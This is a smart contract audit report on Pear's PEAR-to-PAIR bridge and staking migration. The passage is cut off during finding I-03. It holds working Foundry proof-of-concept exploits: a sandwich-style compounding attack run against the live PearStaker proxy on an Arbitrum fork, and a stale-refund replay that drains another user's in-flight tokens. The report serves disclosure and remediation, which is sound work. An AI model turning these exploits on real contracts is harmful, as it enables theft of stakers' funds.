shieldify



SMART CONTRACT SECURITY ASSESSMENT

Pear-Rate-Splitter

SECURITY REVIEW

15 OCTOBER 2026

rt contracts, our shielding · Your smart contracts, our shielding · Your smart contracts, our shielding · Your smart contracts

Contents

1 **About Shieldify** 3

2 **Disclaimer** 3

3 **About Pear-Rate-Splitter** 3

4 **Risk Classification** 4

4.1 Impact 4

4.2 Likelihood 4

5 **Security Review Summary** 4

5.1 Protocol Summary 5

5.2 Scope 5

6 **Findings Summary** 5

7 **Findings** 7

1 About Shieldify

Positioned as the first hybrid Web3 Security company, Shieldify shakes things up with a unique subscription-based auditing model that entitles the customer to unlimited audits within its duration, as well as top-notch service quality thanks to a disruptive 6-layered security approach. The company works with very well-established researchers in the space and has secured multiple millions in TVL across protocols, also can audit codebases written in Solidity, Vyper, Rust, Cairo, Move and Go.

Learn more about us at shieldify.org.

2 Disclaimer

This security review does not guarantee bulletproof protection against a hack or exploit. Smart contracts are a novel technological feat with many known and unknown risks. The protocol, which this report is intended for, indemnifies Shieldify Security against any responsibility for any misbehavior, bugs, or exploits affecting the audited code during any part of the project's life cycle. It is also pivotal to acknowledge that modifications made to the audited code, including fixes for the issues described in this report, may introduce new problems and necessitate additional auditing.

3 About Pear-Rate-Splitter

Pear is re-homing the PEAR token and its staking system from Arbitrum to HyperEVM, where the token is rebranded to PAIR. The bridge is a one-way LayerZero V2 OFT: PEAR is locked in a lockbox adapter on Arbitrum and PAIR is minted 1:1 on HyperEVM, with no path back. Inbound mints are throttled by a per-source rate limit and capped at the original 1B supply.

Staking moves through an admin-run lift-and-shift. The Arbitrum staker is frozen and its positions are snapshotted. The pooled PEAR is then drained, bridged in bulk to the HyperEVM staker, and re-created with the original timestamps, so stakers keep their exit-fee tenure and do not have to act. Vesting is not migrated and continues on Arbitrum until fully claimed.

At a high level, the main functionalities are:

- `PearOFTAdapter` (Arbitrum) locks PEAR, and its unlock path is disabled, so locked PEAR is economically burned
- `PairOFT` (HyperEVM) mints PAIR on receipt, rejects outbound sends, and enforces an inbound rate limit for the Arbitrum endpoint
- The Arbitrum `PearStaker` gains a freeze switch that blocks staking, unstaking and compounding during the migration

- The HyperEVM `PearStaker` mints `stPAIR` through admin seeding and opens staking only after `finalizeMigration()` confirms the backing
- `PairHyperLiquidComposer` lets users go from Arbitrum to HyperCore spot `PAIR` in a single transaction, and refunds failed deliveries on HyperEVM

4 Risk Classification

SEVERITY	IMPACT: HIGH	IMPACT: MEDIUM	IMPACT: LOW
Likelihood: High	CRITICAL	HIGH	MEDIUM
Likelihood: Medium	HIGH	MEDIUM	LOW
Likelihood: Low	MEDIUM	LOW	LOW

4.1 Impact

- **High** – results in a significant risk for the protocol's overall well-being. Affects all or most users
- **Medium** – results in a non-critical risk for the protocol affects all or only a subset of users, but is still unacceptable
- **Low** – losses will be limited but bearable, and covers vectors similar to griefing attacks that can be easily repaired

4.2 Likelihood

- **High** – almost certain to happen and highly lucrative for execution by malicious actors
- **Medium** – still relatively likely, although only conditionally possible
- **Low** – requires a unique set of circumstances and poses non-lucrative cost-of-execution to rewards ratio for the actor

5 Security Review Summary

The security review lasted 8 days with a total of 128 hours dedicated to the audit by the Shieldify team.

Overall, the code is well-written. The audit report contributed by identifying two Medium, one Low and twelve Informational issues. They're mainly related to unprotected swap outputs during reward compounding, stale refund records in the HyperLiquid composer, the reach of privileged roles over staked funds, and operational safeguards around the migration freeze, drain and seeding sequence.

The Pear team has done a great job with their test suite and provided support and responses to all of the questions that the Shieldify researchers had.

5.1 Protocol Summary

Project Name	Pear-Rate-Splitter
Repository	gmx-v2-core
Type of Project	Cross-Chain Token & Staking Migration (LayerZero OFT)
Security Review Timeline	8 days
Review Commit Hash	4f05426a0d49e3a44f88e2192f579d190212563b
Fixes Review Commit Hash	851d7b8c01a0df7b69647aab38cf27cba8a33d63

5.2 Scope

The following smart contracts were in the scope of the security review:

FILE	NSLOC
src/hyper/PearOFTAdapter.sol	36
src/hyper/PairOFT.sol	59
src/staker/PearStaker.sol	376
src/hyper/PearStaker.sol	246
src/hyper/composer/PairHyperLiquidComposer.sol	35
Total	752

6 Findings Summary

The following number of issues have been identified, sorted by their severity:

- **Medium** issues: 2
- **Low** issues: 1
- **Info** issues: 12

ID	TITLE	SEVERITY	STATUS
[M-01]	Reward Compounding Accepts Any PEAR Output	MEDIUM	ACKNOWLEDGED
[M-02]	Stale Failed-Message Record Lets Anyone Pay a Refund Twice Out of Another User's In-Flight PAIR	MEDIUM	FIXED
[L-01]	HyperEVM Staker Admin Can Drain All Staked PAIR at Any Time	LOW	FIXED
[I-01]	Comptroller Admin Can Remove Staker Principal and Rewards	INFO	ACKNOWLEDGED
[I-02]	Fee Deposits Depend on VertexFactory for Authorized Callers	INFO	ACKNOWLEDGED
[I-03]	Third-Party Staking Lengthens Another Account Withdrawal Queue	INFO	ACKNOWLEDGED
[I-04]	Permanent Freeze Can Strand ETH Rewards of Nonpayable Contract Stakers	INFO	ACKNOWLEDGED
[I-05]	Fee Deposits Can Be Accepted Without Allocation to Stakers (Zero-Supply and Dust-Truncation Branches)	INFO	ACKNOWLEDGED
[I-06]	Comptroller Handover Leaves Independent Proxy Upgrade Keys	INFO	FIXED
[I-07]	Non-Transferable stPEAR Still Accepts ERC-20 Approvals	INFO	FIXED
[I-08]	Exit-Fee Redistribution Permits Self-Recovery Through Another Wallet	INFO	ACKNOWLEDGED
[I-09]	Composer Recovery Address Can Sweep In-Flight User Funds Despite the Trust Table	INFO	ACKNOWLEDGED
[I-10]	The Migration Window Depends on One Admin Key, With No User Exit and No Deadline	INFO	FIXED
[I-11]	The Freeze Can Be Lifted Between Snapshot and Drain, and a Stale Snapshot Passes Every Later Check	INFO	FIXED
[I-12]	The Endpoint Delegate Can Permanently Discard Verified Inbound Messages, Stranding Locked PEAR	INFO	ACKNOWLEDGED

7 Findings

M-01

MEDIUM ACKNOWLEDGED

Reward Compounding Accepts Any PEAR Output

Description

`PearStaker` converts claimable ETH to PEAR through Uniswap V3 before minting stPEAR. It does so on two paths: `compoundStakingReward()` for accrued staking rewards, and `_compoundEthToStaking()` via `compoundToStaking()`. Users can call `compoundToStaking()` directly, and `SymmFactory.compoundFeeDiscountToStaking()` (`src/factory/SymmFactory.sol:278-285`) and `HyperliquidFactory.compoundFeeDiscountToStaking()` (`src/factory/HyperliquidFactory.sol:264-271`) reach it for legacy fee-discount compounding.

Both swap sites call `exactInputSingle()` with `amountOutMinimum: 0` and `sqrtPriceLimitX96: 0`. The `deadline` parameter is set to `block.timestamp` at execution time, so it places no bound on the transaction before it is submitted. The staker then mints stPEAR one-for-one against the swap's actual PEAR output, with no comparison to an expected or fair amount. The compounder absorbs every unit of adverse pool movement between submission and execution.

The loss does not require the attacker to observe a pending transaction. An independent PEAR purchase that happens to be sequenced before a compound call raises the pool price and reduces the compounder's output. A deliberate buy-compound-sell sequence only improves the attacker's economics. According to Arbitrum's sequencing documentation, the mempool is private and the feed publishes transactions only after ordering. This report therefore models independent trades that are sequenced first, rather than sandwiching an observed pending transaction. The missing-minimum pattern is the well-documented hazard described in Uniswap's V3 swapping guide.

Location of Affected Code

File: src/staker/PearStaker.sol#L314-L337

File: src/staker/PearStaker.sol#L345-L368

```
// Both exactInputSingle parameter sets contain these values.
deadline: block.timestamp,  // assigned at execution: no pre-submission bound
amountIn: amount,
amountOutMinimum: 0,      // no floor on PEAR received
sqrtPriceLimitX96: 0      // no execution-price bound

// The staker then mints 1:1 against whatever the swap returned.
amountOut = uniswapV3Router.exactInputSingle{ value: amount }(params);
```

```
// ...
_mint(msg.sender, amountOut);
```

Impact

On an Arbitrum fork pinned to block `513173653` (PEAR/WETH 0.3% pool), compounding a 10 ETH reward produced **750,167.357274328246496757 PEAR** at the undisturbed price. After a 20 ETH PEAR purchase was sequenced first, the same compound produced **408,126.103472982105015868 PEAR**, which is **342,041.253801346141480889 PEAR (45.60%) fewer stPEAR** for the same reward. The trader's buy–sell round trip returned **24.874500829821949754 WETH**, a gross **+4.874500829821949754 ETH** on 20 ETH before gas and competition.

Exposure is limited to the ETH value submitted to compound swaps, because staked PEAR principal is not sold on this path. Users can also claim ETH directly, which caps the practical loss but also limits the feature's usefulness. The impact grows as pool liquidity shrinks: 45.60% reflects the pool state at the pinned block, and shallower pools produce proportionally larger shortfalls.

Proof of Concept

Two complementary fork tests in the audited repository were re-run against `https://arb1.arbitrum.io/rpc` at block `513173653`, and both pass:

```
forge test --match-path "test/security/fork/StakerCompounding*.t.sol" -vv
```

1. `test/security/fork/StakerCompoundingLiveProxyFork.t.sol` runs against the **deployed** PearStaker proxy (`0xcE3be5204017BB1bD279937f92dF09Fd7F539B92`), the real PEAR token, the real Uniswap V3 router, and the real PEAR/WETH pool. It seeds a matured 10 ETH reward for a synthetic victim in the proxy's `rewards` storage slot. This is scenario setup only; neither attacker nor victim can write that slot in production. The test snapshots state and measures the ordinary compound output. It then restores the snapshot, executes a 20 ETH trader purchase, compounds again, and lets the trader sell back.
2. `test/security/fork/StakerCompoundingSandwichFork.t.sol` deploys the **reviewed source** of `PearStaker` against the same live pool. This confirms the flaw is in the code under review and not only in the deployed implementation.

Both tests produce identical results. The ordinary compound mints **750,167.357274328246496757 PEAR**. Sequenced after the 20 ETH purchase, it mints **408,126.103472982105015868 PEAR**, a shortfall of **342,041.253801346141480889 PEAR (45.60%)**. The trader's 20 ETH round trip returns **24.874500829821949754 WETH (+4.8745 ETH gross)**.

The tests impose the buy-compound-sell order manually. They establish how the contract responds to prior pool movement and what the trader earns gross. They do not establish sequencer access or mempool visibility, and the seeded reward is test setup rather than an observed live claim.

Full PoC source: test/security/fork/StakerCompoundingLiveProxyFork.t.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PearStaker} from "../../../src/staker/PearStaker.sol";
import {ISwapRouter} from "../../../src/interfaces/ISwapRouter.sol";

contract StakerCompoundingLiveProxyForkTest is Test {
  uint256 private constant BLOCK_NUMBER = 513173653;
  address private constant STAKER = 0xcE3be5204017BB1bD279937f92dF09Fd7F539B92;
  address private constant PEAR = 0x3212dc0F8c834e4DE893532d27CC9B6001684DB0;
  address private constant ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
  address private constant VICTIM = address(0xBEEF);
  address private constant ATTACKER = address(0xA11CE);

  PearStaker private staker;
  ISwapRouter private router;
  address private weth;

  function setUp() public {
    vm.createSelectFork("https://arb1.arbitrum.io/rpc", BLOCK_NUMBER);
    staker = PearStaker(payable(STAKER));
    router = ISwapRouter(ROUTER);
    weth = router.WETH9();
    assertEq(address(staker.uniswapV3Router()), ROUTER);
    assertEq(staker.POOL_FEE(), 3000);

    // Seed a matured 10 ETH reward in the real proxy's rewards mapping.
    // The reviewed storage layout puts rewards at slot 7. This is only
    // scenario setup: neither the attacker nor the victim can write it.
    bytes32 rewardSlot = keccak256(abi.encode(VICTIM, uint256(7)));
    vm.store(STAKER, rewardSlot, bytes32(uint256(10 ether)));
    vm.deal(STAKER, STAKER.balance + 10 ether);
    vm.deal(ATTACKER, 20 ether);
    assertEq(staker.rewards(VICTIM), 10 ether);
  }

  function test_LiveProxyRewardCompoundCanBeSandwiched() public {
    uint256 snapshot = vm.snapshotState();
    uint256 initialShares = staker.balanceOf(VICTIM);
    vm.prank(VICTIM);
    staker.compoundStakingReward();
```

```
    uint256 ordinaryOut = staker.balanceOf(VICTIM) - initialShares;
    vm.revertToState(snapshot);

    vm.prank(ATTACKER);
    uint256 purchasedPear = router.exactInputSingle{value: 20 ether}(
      ISwapRouter.ExactInputSingleParams({
        tokenIn: weth,
        tokenOut: PEAR,
        fee: 3000,
        recipient: ATTACKER,
        deadline: block.timestamp,
        amountIn: 20 ether,
        amountOutMinimum: 0,
        sqrtPriceLimitX96: 0
      })
    );

    vm.prank(VICTIM);
    staker.compoundStakingReward();
    uint256 attackedOut = staker.balanceOf(VICTIM) - initialShares;

    vm.startPrank(ATTACKER);
    IERC20(PEAR).approve(ROUTER, purchasedPear);
    uint256 receivedWeth = router.exactInputSingle(
      ISwapRouter.ExactInputSingleParams({
        tokenIn: PEAR,
        tokenOut: weth,
        fee: 3000,
        recipient: ATTACKER,
        deadline: block.timestamp,
        amountIn: purchasedPear,
        amountOutMinimum: 0,
        sqrtPriceLimitX96: 0
      })
    );
    vm.stopPrank();

    emit log_named_uint("ordinary victim PEAR", ordinaryOut);
    emit log_named_uint("sandwiched victim PEAR", attackedOut);
    emit log_named_uint("attacker WETH after backrun", receivedWeth);
    assertLt(attackedOut, ordinaryOut);
    assertGt(receivedWeth, 20 ether);
    assertEq(staker.rewards(VICTIM), 0);
  }
}
```

Recommendation

Accept a caller-supplied minimum PEAR output on every compound path (`compoundStakingReward()`, `compoundToStaking()`, and the two factory wrappers), and revert when the swap returns less. For swaps the protocol initiates without caller input, enforce a bound derived from a manipulation-resistant price source, such as a Uniswap V3 TWAP over the pool or an independent oracle, rather than the spot execution price. Keep the direct ETH claim route available as the zero-slippage alternative.

Team Response

Acknowledged.

M-02

MEDIUM FIXED

Stale Failed-Message Record Lets Anyone Pay a Refund Twice Out of Another User's In-Flight PAIR

Description

When a compose payload can't be decoded, `lzCompose()` keeps its PAIR and HYPE in the composer and records them in `failedMessages[guid]`. Anyone can then call `refundToSrc(guid)`, which pays the parked amounts to `composeFrom` at the same address on HyperEVM. `composeFrom` is the Arbitrum `msg.sender` of the original `send()`.

Two problems follow:

- **The record survives recovery.** A contract sender's Arbitrum address may not belong to it on HyperEVM, so for contract senders the NatSpec tells operators to rescue the funds with `recoverEvmERC20()` first. That function moves the PAIR but doesn't delete `failedMessages[guid]`. Anyone can later call `refundToSrc(guid)`, and it pays `amountLD` again out of whatever PAIR the composer holds at that moment, for example, another user's in-flight mint that is waiting for `lzCompose()`. That user's `lzCompose()` then reverts, because the composer can fund neither the HyperCore transfer nor the HyperEVM refund. If the parked message also carried HYPE, the replay needs that much HYPE in the composer too, so the attack mainly applies to messages that parked only PAIR.
- **A contract sender can't be protected.** Since `refundToSrc()` is permissionless, anyone can call it in the same block the message parks, before the recovery address acts. The refund lands at the contract's address on HyperEVM, which nobody controls unless the contract can be redeployed there.

The second point is intended (invariant 8, `docs/hyperevm-migration.md:87`). The first is not: following the documented recovery steps leaves behind a record that can be replayed against other users.

Location of Affected Code

File: src/hyper/composer/PairHyperLiquidComposer.sol#L57-L78

```
/// @dev   A sender that was a contract on Arbitrum may not control the same
///        address on HyperEVM; such refunds go through the recovery
///        address (`recoverEvmERC20`) before anyone calls this.
// @audit callable by anyone, and recoverEvmERC20() does not delete the record
function refundToSrc(bytes32 _guid) external payable override {
  FailedMessage memory failedMessage = failedMessages[_guid];
  if (failedMessage.refundSendParam.dstEid == 0) revert FailedMessageNotFound(_guid);

  delete failedMessages[_guid];

  address sender = address(uint160(uint256(failedMessage.refundSendParam.to)));
  uint256 hype = failedMessage.msgValue + msg.value;
  uint256 amount = failedMessage.refundSendParam.amountLD;

  if (hype != 0) {
    (bool success, ) = sender.call{ value: hype }("");
    if (!success) revert NativeTransferFailed(hype);
  }
  // @audit paid from the current balance, which may belong to other users' pending composes
  if (amount != 0) IERC20(ERC20).safeTransfer(sender, amount);

  emit RefundHyperEVM(sender, amount, hype);
  emit RefundSuccessful(_guid);
}
```

Impact

Suppose the recovery address rescues a parked, PAIR-only message from a contract sender with `recoverEvmERC20()`, as the NatSpec instructs. Anyone can then replay the refund and send another user's in-flight PAIR to that contract's address on HyperEVM. The victim's delivery to HyperCore reverts until someone tops up the composer. In the PoC, 5,000 of Alice's 7,000 in-flight PAIR are paid to a Safe's address a second time. Separately, any contract sender's parked refund can be pushed to its uncontrolled HyperEVM address before the recovery address can step in.

Proof of Concept

The test uses the real `PairOFT` and the real `PairHyperLiquidComposer`, a stub that copies EndpointV2's compose queue, and `vm.etch` mocks for the HyperCore precompiles.

1. A Safe's send with a malformed payload parks 5,000 PAIR, and the recovery address rescues it with `recoverEvmERC20()`.
2. Alice's 7,000 PAIR is then minted to the composer, waiting for `lzCompose()`.
3. A griefer calls `refundToSrc()` for the old message. The Safe's address receives 5,000 PAIR out of Alice's funds, and Alice's `lzCompose()` reverts with `ERC20InsufficientBalance(composer, 2000e18, 7000e18)`.

A second test shows a stranger pushing a parked refund to the Safe's HyperEVM address in the same block, after which the recovery address can no longer rescue it.

Add as `test/hyper/PoC_M03_RefundToSrc.t.sol`:

Full PoC source: `test/hyper/PoC_M03_RefundToSrc.t.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import { Test } from "forge-std/Test.sol";
import { IERC20Errors } from "@openzeppelin/contracts/interfaces/draft-IERC6093.sol";
import { Origin } from "@layerzerolabs/lz-evm-protocol-v2/contracts/interfaces/ILayerZeroEndpointV2.sol";
import { RateLimiter } from "@layerzerolabs/oapp-evm/contracts/oapp/utils/RateLimiter.sol";
import { PairOFT } from "../../src/hyper/PairOFT.sol";
import { PairHyperLiquidComposer } from "../../src/hyper/composer/PairHyperLiquidComposer.sol";

interface IOAppReceiverM03 {
 function lzReceive(Origin calldata, bytes32, bytes calldata, address, bytes calldata) external payable;
}

interface IComposerM03 {
 function lzCompose(address, bytes32, bytes calldata, address, bytes calldata) external payable;
}

/// @dev Mirrors EndpointV2's two-transaction compose flow (MessagingComposer.sendCompose / lzCompose).
contract EndpointComposeStubM03 {
 mapping(address => mapping(address => mapping(bytes32 => mapping(uint16 => bytes32)))) public composeQueue;
 bytes public lastComposeMessage;

 function setDelegate(address) external { }

 function deliver(address oapp, Origin calldata origin, bytes32 guid, bytes calldata message) external {
  IOAppReceiverM03(oapp).lzReceive(origin, guid, message, msg.sender, "");
 }

 function sendCompose(address to, bytes32 guid, uint16 index, bytes calldata message) external {
  composeQueue[msg.sender][to][guid][index] = keccak256(message);
  lastComposeMessage = message;
 }
```

```
  function lzCompose(address from, address to, bytes32 guid, uint16 index, bytes calldata message, bytes calldata extra)
   external
   payable
  {
   require(composeQueue[from][to][guid][index] == keccak256(message), "LZ_ComposeNotFound");
   composeQueue[from][to][guid][index] = bytes32(uint256(1)); // RECEIVED; restored if the call reverts
   IComposerM03(to).lzCompose{ value: msg.value }(from, guid, message, msg.sender, extra);
  }
}

/// @dev HyperCore precompile stand-ins
contract MockSpotBalanceM03 {
 fallback(bytes calldata) external returns (bytes memory) {
  return abi.encode(uint64(1e15), uint64(0), uint64(0));
 }
}

contract MockCoreUserExistsM03 {
 fallback(bytes calldata) external returns (bytes memory) {
  return abi.encode(true);
 }
}

contract MockCoreWriterM03 {
 function sendRawAction(bytes calldata) external { }
}

contract PoC_M03_RefundToSrc is Test {
 EndpointComposeStubM03 endpoint;
 PairOFT pair;
 PairHyperLiquidComposer composer;

 address recovery = makeAddr("recoveryAddress");
 address arbSafe = makeAddr("arbitrumSafe"); // a Safe on Arbitrum; nothing deployed at this address on HyperEVM
 address alice = makeAddr("alice");
 address griefer = makeAddr("griefer");
 address executor = makeAddr("lzExecutor");
 bytes32 adapterArb = bytes32(uint256(uint160(makeAddr("pearOFTAdapterArbitrum"))));

 uint32 constant ARB_EID = 30_110;
 address constant PAIR_ASSET_BRIDGE = 0x2000000000000000000000000000000000000125;
 bytes32 constant SAFE_GUID = keccak256("safe send, malformed payload");
 bytes32 constant ALICE_GUID = keccak256("alice send to HyperCore");

 function setUp() public {
  endpoint = new EndpointComposeStubM03();
  pair = new PairOFT(address(endpoint), address(this), 1_000_000_000e18, ARB_EID);
  composer = new PairHyperLiquidComposer(address(pair), 293, 11, recovery);
```

```
    RateLimiter.RateLimitConfig[] memory cfg = new RateLimiter.RateLimitConfig[](1);
    cfg[0] = RateLimiter.RateLimitConfig({ dstEid: ARB_EID, limit: uint192(1_000_000e18), window: 1 days });
    pair.setPeer(ARB_EID, adapterArb);
    pair.setRateLimits(cfg);

    vm.etch(0x0000000000000000000000000000000000000801, address(new
MockSpotBalanceM03()).code);
    vm.etch(0x0000000000000000000000000000000000000810, address(new
MockCoreUserExistsM03()).code);
    vm.etch(0x3333333333333333333333333333333333333333, address(new MockCoreWriterM03()).code);
  }

  /// lzReceive: PairOFT mints `amount` to the composer and queues the compose.
  /// `from` is the Arbitrum msg.sender of `send` (composeFrom).
  function _deliver(bytes32 guid, uint64 nonce, address from, uint256 amount, bytes memory payload)
    internal
    returns (bytes memory)
  {
    bytes memory oftMessage = abi.encodePacked(
      bytes32(uint256(uint160(address(composer)))), uint64(amount / 1e12), bytes32(uint256(uint160(from))), payload
    );
    endpoint.deliver(address(pair), Origin({ srcEid: ARB_EID, sender: adapterArb, nonce: nonce }), guid, oftMessage);
    return endpoint.lastComposeMessage();
  }

  function _compose(bytes32 guid, bytes memory m, uint256 value) internal {
    vm.deal(executor, value);
    vm.prank(executor);
    endpoint.lzCompose{ value: value }(address(pair), address(composer), guid, 0, m, "");
  }

  function test_M03_staleRecordDrainsAnotherUsersInFlightPair() public {
    // A Safe's send with a malformed payload parks 5,000 PAIR (no HYPE)
    bytes memory safeMsg = _deliver(SAFE_GUID, 1, arbSafe, 5_000e18, hex"deadbeef");
    _compose(SAFE_GUID, safeMsg, 0);

    // Recovery follows the NatSpec and rescues it with recoverEvmERC20; the record is not deleted
    vm.prank(recovery);
    composer.recoverEvmERC20(5_000e18);

    // Alice's 7,000 PAIR is minted to the composer and waits for lzCompose
    bytes memory aliceMsg = _deliver(ALICE_GUID, 2, alice, 7_000e18, abi.encode(uint256(0), alice));

    // Anyone replays the stale refund: 5,000 of Alice's PAIR goes to the Safe's HyperEVM address
    vm.prank(griefer);
    composer.refundToSrc(SAFE_GUID);
    assertEq(pair.balanceOf(arbSafe), 5_000e18, "paid a second time, from Alice's in-flight PAIR");
    assertEq(pair.balanceOf(address(composer)), 2_000e18, "composer now short for Alice");
```

```
    // Alice's delivery reverts: neither the Core transfer nor the HyperEVM refund can be funded
    vm.prank(executor);
    vm.expectRevert(
      abi.encodeWithSelector(IERC20Errors.ERC20InsufficientBalance.selector, address(composer), 2_000e18,
7_000e18)
    );
    endpoint.lzCompose(address(pair), address(composer), ALICE_GUID, 0, aliceMsg, "");
    assertEq(pair.balanceOf(PAIR_ASSET_BRIDGE), 0, "nothing reached HyperCore for Alice");
  }

  function test_M03_anyoneRefundsContractSenderToItsHyperEvmAddress() public {
    bytes memory m = _deliver(SAFE_GUID, 1, arbSafe, 5_000e18, hex"deadbeef");
    _compose(SAFE_GUID, m, 0.2 ether);
    assertEq(arbSafe.code.length, 0, "no Safe deployed at this address on HyperEVM");

    // In the same block, a stranger pushes the refund before the recovery address can act
    vm.prank(griefer);
    composer.refundToSrc(SAFE_GUID);
    assertEq(pair.balanceOf(arbSafe), 5_000e18, "PAIR sent to the Safe's address on HyperEVM");
    assertEq(arbSafe.balance, 0.2 ether, "HYPE sent to the Safe's address on HyperEVM");

    vm.prank(recovery);
    vm.expectRevert(
      abi.encodeWithSelector(IERC20Errors.ERC20InsufficientBalance.selector, address(composer), 0, 5_000e18)
    );
    composer.recoverEvmERC20(5_000e18);
  }
}
```

Run `FOUNDRY_TEST=test/hyper forge test --match-path test/hyper/PoC_M03_RefundToSrc.t.sol`. Result: both tests pass.

Recommendation

`recoverEvmERC20()` is vendored and not `virtual`, so it can't be changed to delete records. Instead, add a recovery-only rescue function to `PairHyperLiquidComposer` that deletes the record, use it instead of `recoverEvmERC20()` for parked messages, and update the NatSpec.

Team Response

Fixed.

L-01

LOW FIXED

HyperEVM Staker Admin Can Drain All Staked PAIR at Any Time

Description

The HyperEVM `PearStaker` keeps the Arbitrum `withdrawToken()` unchanged. It sends any amount of PAIR to `comptroller.admin()`, with no cap and no link to `totalSupply()`. On Arbitrum this function is the migration drain. On HyperEVM, after `finalizeMigration()`, the contract holds only stakers' principal and their unclaimed exit fees, so the admin can take all of it.

Four things make this worse:

- The `finalizeMigration()` backing check (`balance >= totalSupply`) runs once and is never enforced again afterwards.
- The admin is a single deployer EOA until the Safe handover that follows finalization (`script/hyper/DeployHyperStaker.s.sol:23-26`).
- The admin can pass the power to another admin through `setComptroller()`.
- The staker sits behind a plain `ERC1967Proxy` with no upgrade path, so the power can never be narrowed.

`docs/hyperevm-migration.md:67` lists `withdrawToken()` as an admin power, and only the admin can call it, so it is rated Low. The power is still unbounded, serves no purpose after `finalizeMigration()`, and can never be removed.

Location of Affected Code

File: src/hyper/PearStaker.sol#L327-L335

```
function withdrawToken(uint256 amount) external onlyAdmin {
 address admin = comptroller.admin();
 // @audit no cap: staked principal and owed exit fees can be taken
 bool success = pearToken.transfer(admin, amount);
 if (!success) {
  revert Errors.PearStaker_TransferFailed();
 }

 emit Events.TokenWithdrawn(amount);
}
```

Impact

Anyone who holds the admin key, whether through misuse or compromise, can take 100% of staked PAIR plus all unclaimed exit fees at any time. After that, every `unstake()` and `getExitFeeReward()` reverts, and stakers are left with non-transferable stPAIR that can never be redeemed.

Recommendation

Remove `withdrawToken()` from the HyperEVM staker.

If a surplus sweep is needed, reserve unclaimed fees as well as principal. A cap of only `balance - totalSupply()` would still let the admin take unclaimed fees.

```
+ uint256 public totalExitFeesOwed; // += _exitFee in _depositExitFee(), -= exitFee in getExitFeeReward()

  function withdrawToken(uint256 amount) external onlyAdmin {
+   uint256 bal = pearToken.balanceOf(address(this));
+   uint256 reserved = totalSupply() + totalExitFeesOwed;
+   if (amount > (bal > reserved ? bal - reserved : 0)) revert PearStaker_AmountExceedsSurplus();
```

Hand the Comptroller admin to the Safe before `finalizeMigration()`, not after.

Team Response

Fixed.

I-01

INFO ACKNOWLEDGED

Comptroller Admin Can Remove Staker Principal and Rewards

Description

The reviewed `PearStaker` lets the Comptroller admin withdraw any PEAR or ETH held by the staker, limited only by the actual asset balance. `withdrawToken()` has no `frozen` requirement and reserves nothing for the PEAR that backs outstanding stPEAR or for PEAR exit-fee rewards. `withdrawFees()` reserves nothing for accrued ETH staking rewards. These withdrawals are explicit privileged powers, and no permissionless route can invoke them. They matter to the custody model because a compromised or misused Comptroller admin key can remove assets owed to users during normal operation, before migration begins.

At Arbitrum block `513172292`, the staker proxy held approximately 155.5 million PEAR while 155.3 million stPEAR were outstanding. The live proxy's `frozen()` call returned empty data, indicating that its implementation differed from the reviewed freeze-upgrade source at that block. These balances show the size of the live custody surface; they do not show that the exact withdrawal behavior of the checked-in implementation was verified on the live proxy.

Location of Affected Code

File: src/staker/PearStaker.sol#L437-L459

```
function withdrawToken(uint256 amount) external onlyAdmin {
 if (frozen && !drained) {
  drained = true;
  emit Events.Drained();
 }
 address admin = comptroller.admin();
 bool success = pearToken.transfer(admin, amount);
 if (!success) {
  revert Errors.PearStaker_TransferFailed();
 }

 emit Events.TokenWithdrawn(amount);
}

function withdrawFees(uint256 amount) external onlyAdmin {
 address admin = comptroller.admin();
 (bool success, ) = admin.call{ value: amount }("");
 if (!success) {
  revert Errors.PearStaker_TransferFailed();
 }

 emit Events.FeeWithdrawn(amount);
}
```

Impact

If an admin withdrawal leaves less PEAR than outstanding stPEAR and exit-fee credits require, later `unstake()` or PEAR reward claims can revert at their transfer. ETH reward claims can revert in the same way if the admin withdraws ETH already credited through `rewardPerTokenStored`. Users bear the solvency risk of the admin key. This finding concerns the staker's backing and rewards; the admin's separate ability to withdraw assigned PEAR from a distribution contract is outside its scope.

Recommendation

During normal operation, bound asset withdrawals by proven surplus after reserving stPEAR principal, unclaimed PEAR exit fees, and accrued ETH rewards. Put any intentional migration drain behind a separate frozen-state operation with a fixed destination and accounting checks. Until those limits are enforced, protect the Comptroller admin key as a custody key.

Team Response

Acknowledged.

I-02

INFO ACKNOWLEDGED

Fee Deposits Depend on VertexFactory for Authorized Callers

Description

`depositStakerFee()` applies the `onlyPlatformLogicOrAdmin` modifier. The modifier calls `callbackWallet()` on the address returned by `Comptroller.getVertexFactory()` before checking whether `msg.sender` is the Comptroller admin or PlatformLogic. Both of those callers therefore depend on a valid VertexFactory, even though their authorization does not involve its callback wallet. If the factory is unset, the Comptroller getter returns `address(0)` and the external call cannot return the address the interface expects, so the transaction reverts before depositing the fee. A configured address that does not implement `callbackWallet()` has the same effect.

The Comptroller constructor (`src/Comptroller.sol:91`) does not register a VertexFactory, and the corresponding call in DeployCore (`script/DeployCore.s.sol:70`) is commented out. A later `setVertexFactory()` call resolves this configuration dependency. At Arbitrum block `513172292`, a read-only call to the deployed Comptroller returned the configured factory `0x05aE9d0575d1B2D5A3169DC5afE4C2b8b4B6571a`, so this condition was not present in the observed live state.

Location of Affected Code

File: src/staker/PearStaker.sol#L89

```
modifier onlyPlatformLogicOrAdmin() {
 address platformLogic = comptroller.getPlatformLogic();
 address admin = comptroller.admin();
 address vertex = comptroller.getVertexFactory();
 address callbackWallet = IVertexFactory(vertex).callbackWallet();
 if (msg.sender != platformLogic && admin != msg.sender && msg.sender != callbackWallet) {
  revert Errors.StakingRewards_NotPlatformLogicOrComptrollerAdmin();
 }
 _;
}
```

The modifier guards `depositStakerFee()` (`src/staker/PearStaker.sol:114`). `PlatformLogic.depositAmountToStakingRewards()` (`src/PlatformLogic.sol:679`) forwards ETH to that entry point, but no active caller of that helper was identified in the reviewed code.

Impact

If the VertexFactory is unset or invalid, neither the admin nor PlatformLogic can fund ETH staking rewards through `depositStakerFee()`, even though both are authorized callers. This is a deployment and configuration liveness issue, not a failure observed live at the cited block.

Recommendation

Authorize the admin and PlatformLogic before resolving the VertexFactory, and query `callbackWallet()` only for callers that need the callback-wallet authorization path. Check the factory configuration during deployment.

Team Response

Acknowledged.

I-03

INFO ACKNOWLEDGED

Third-Party Staking Lengthens Another Account Withdrawal Queue

Description

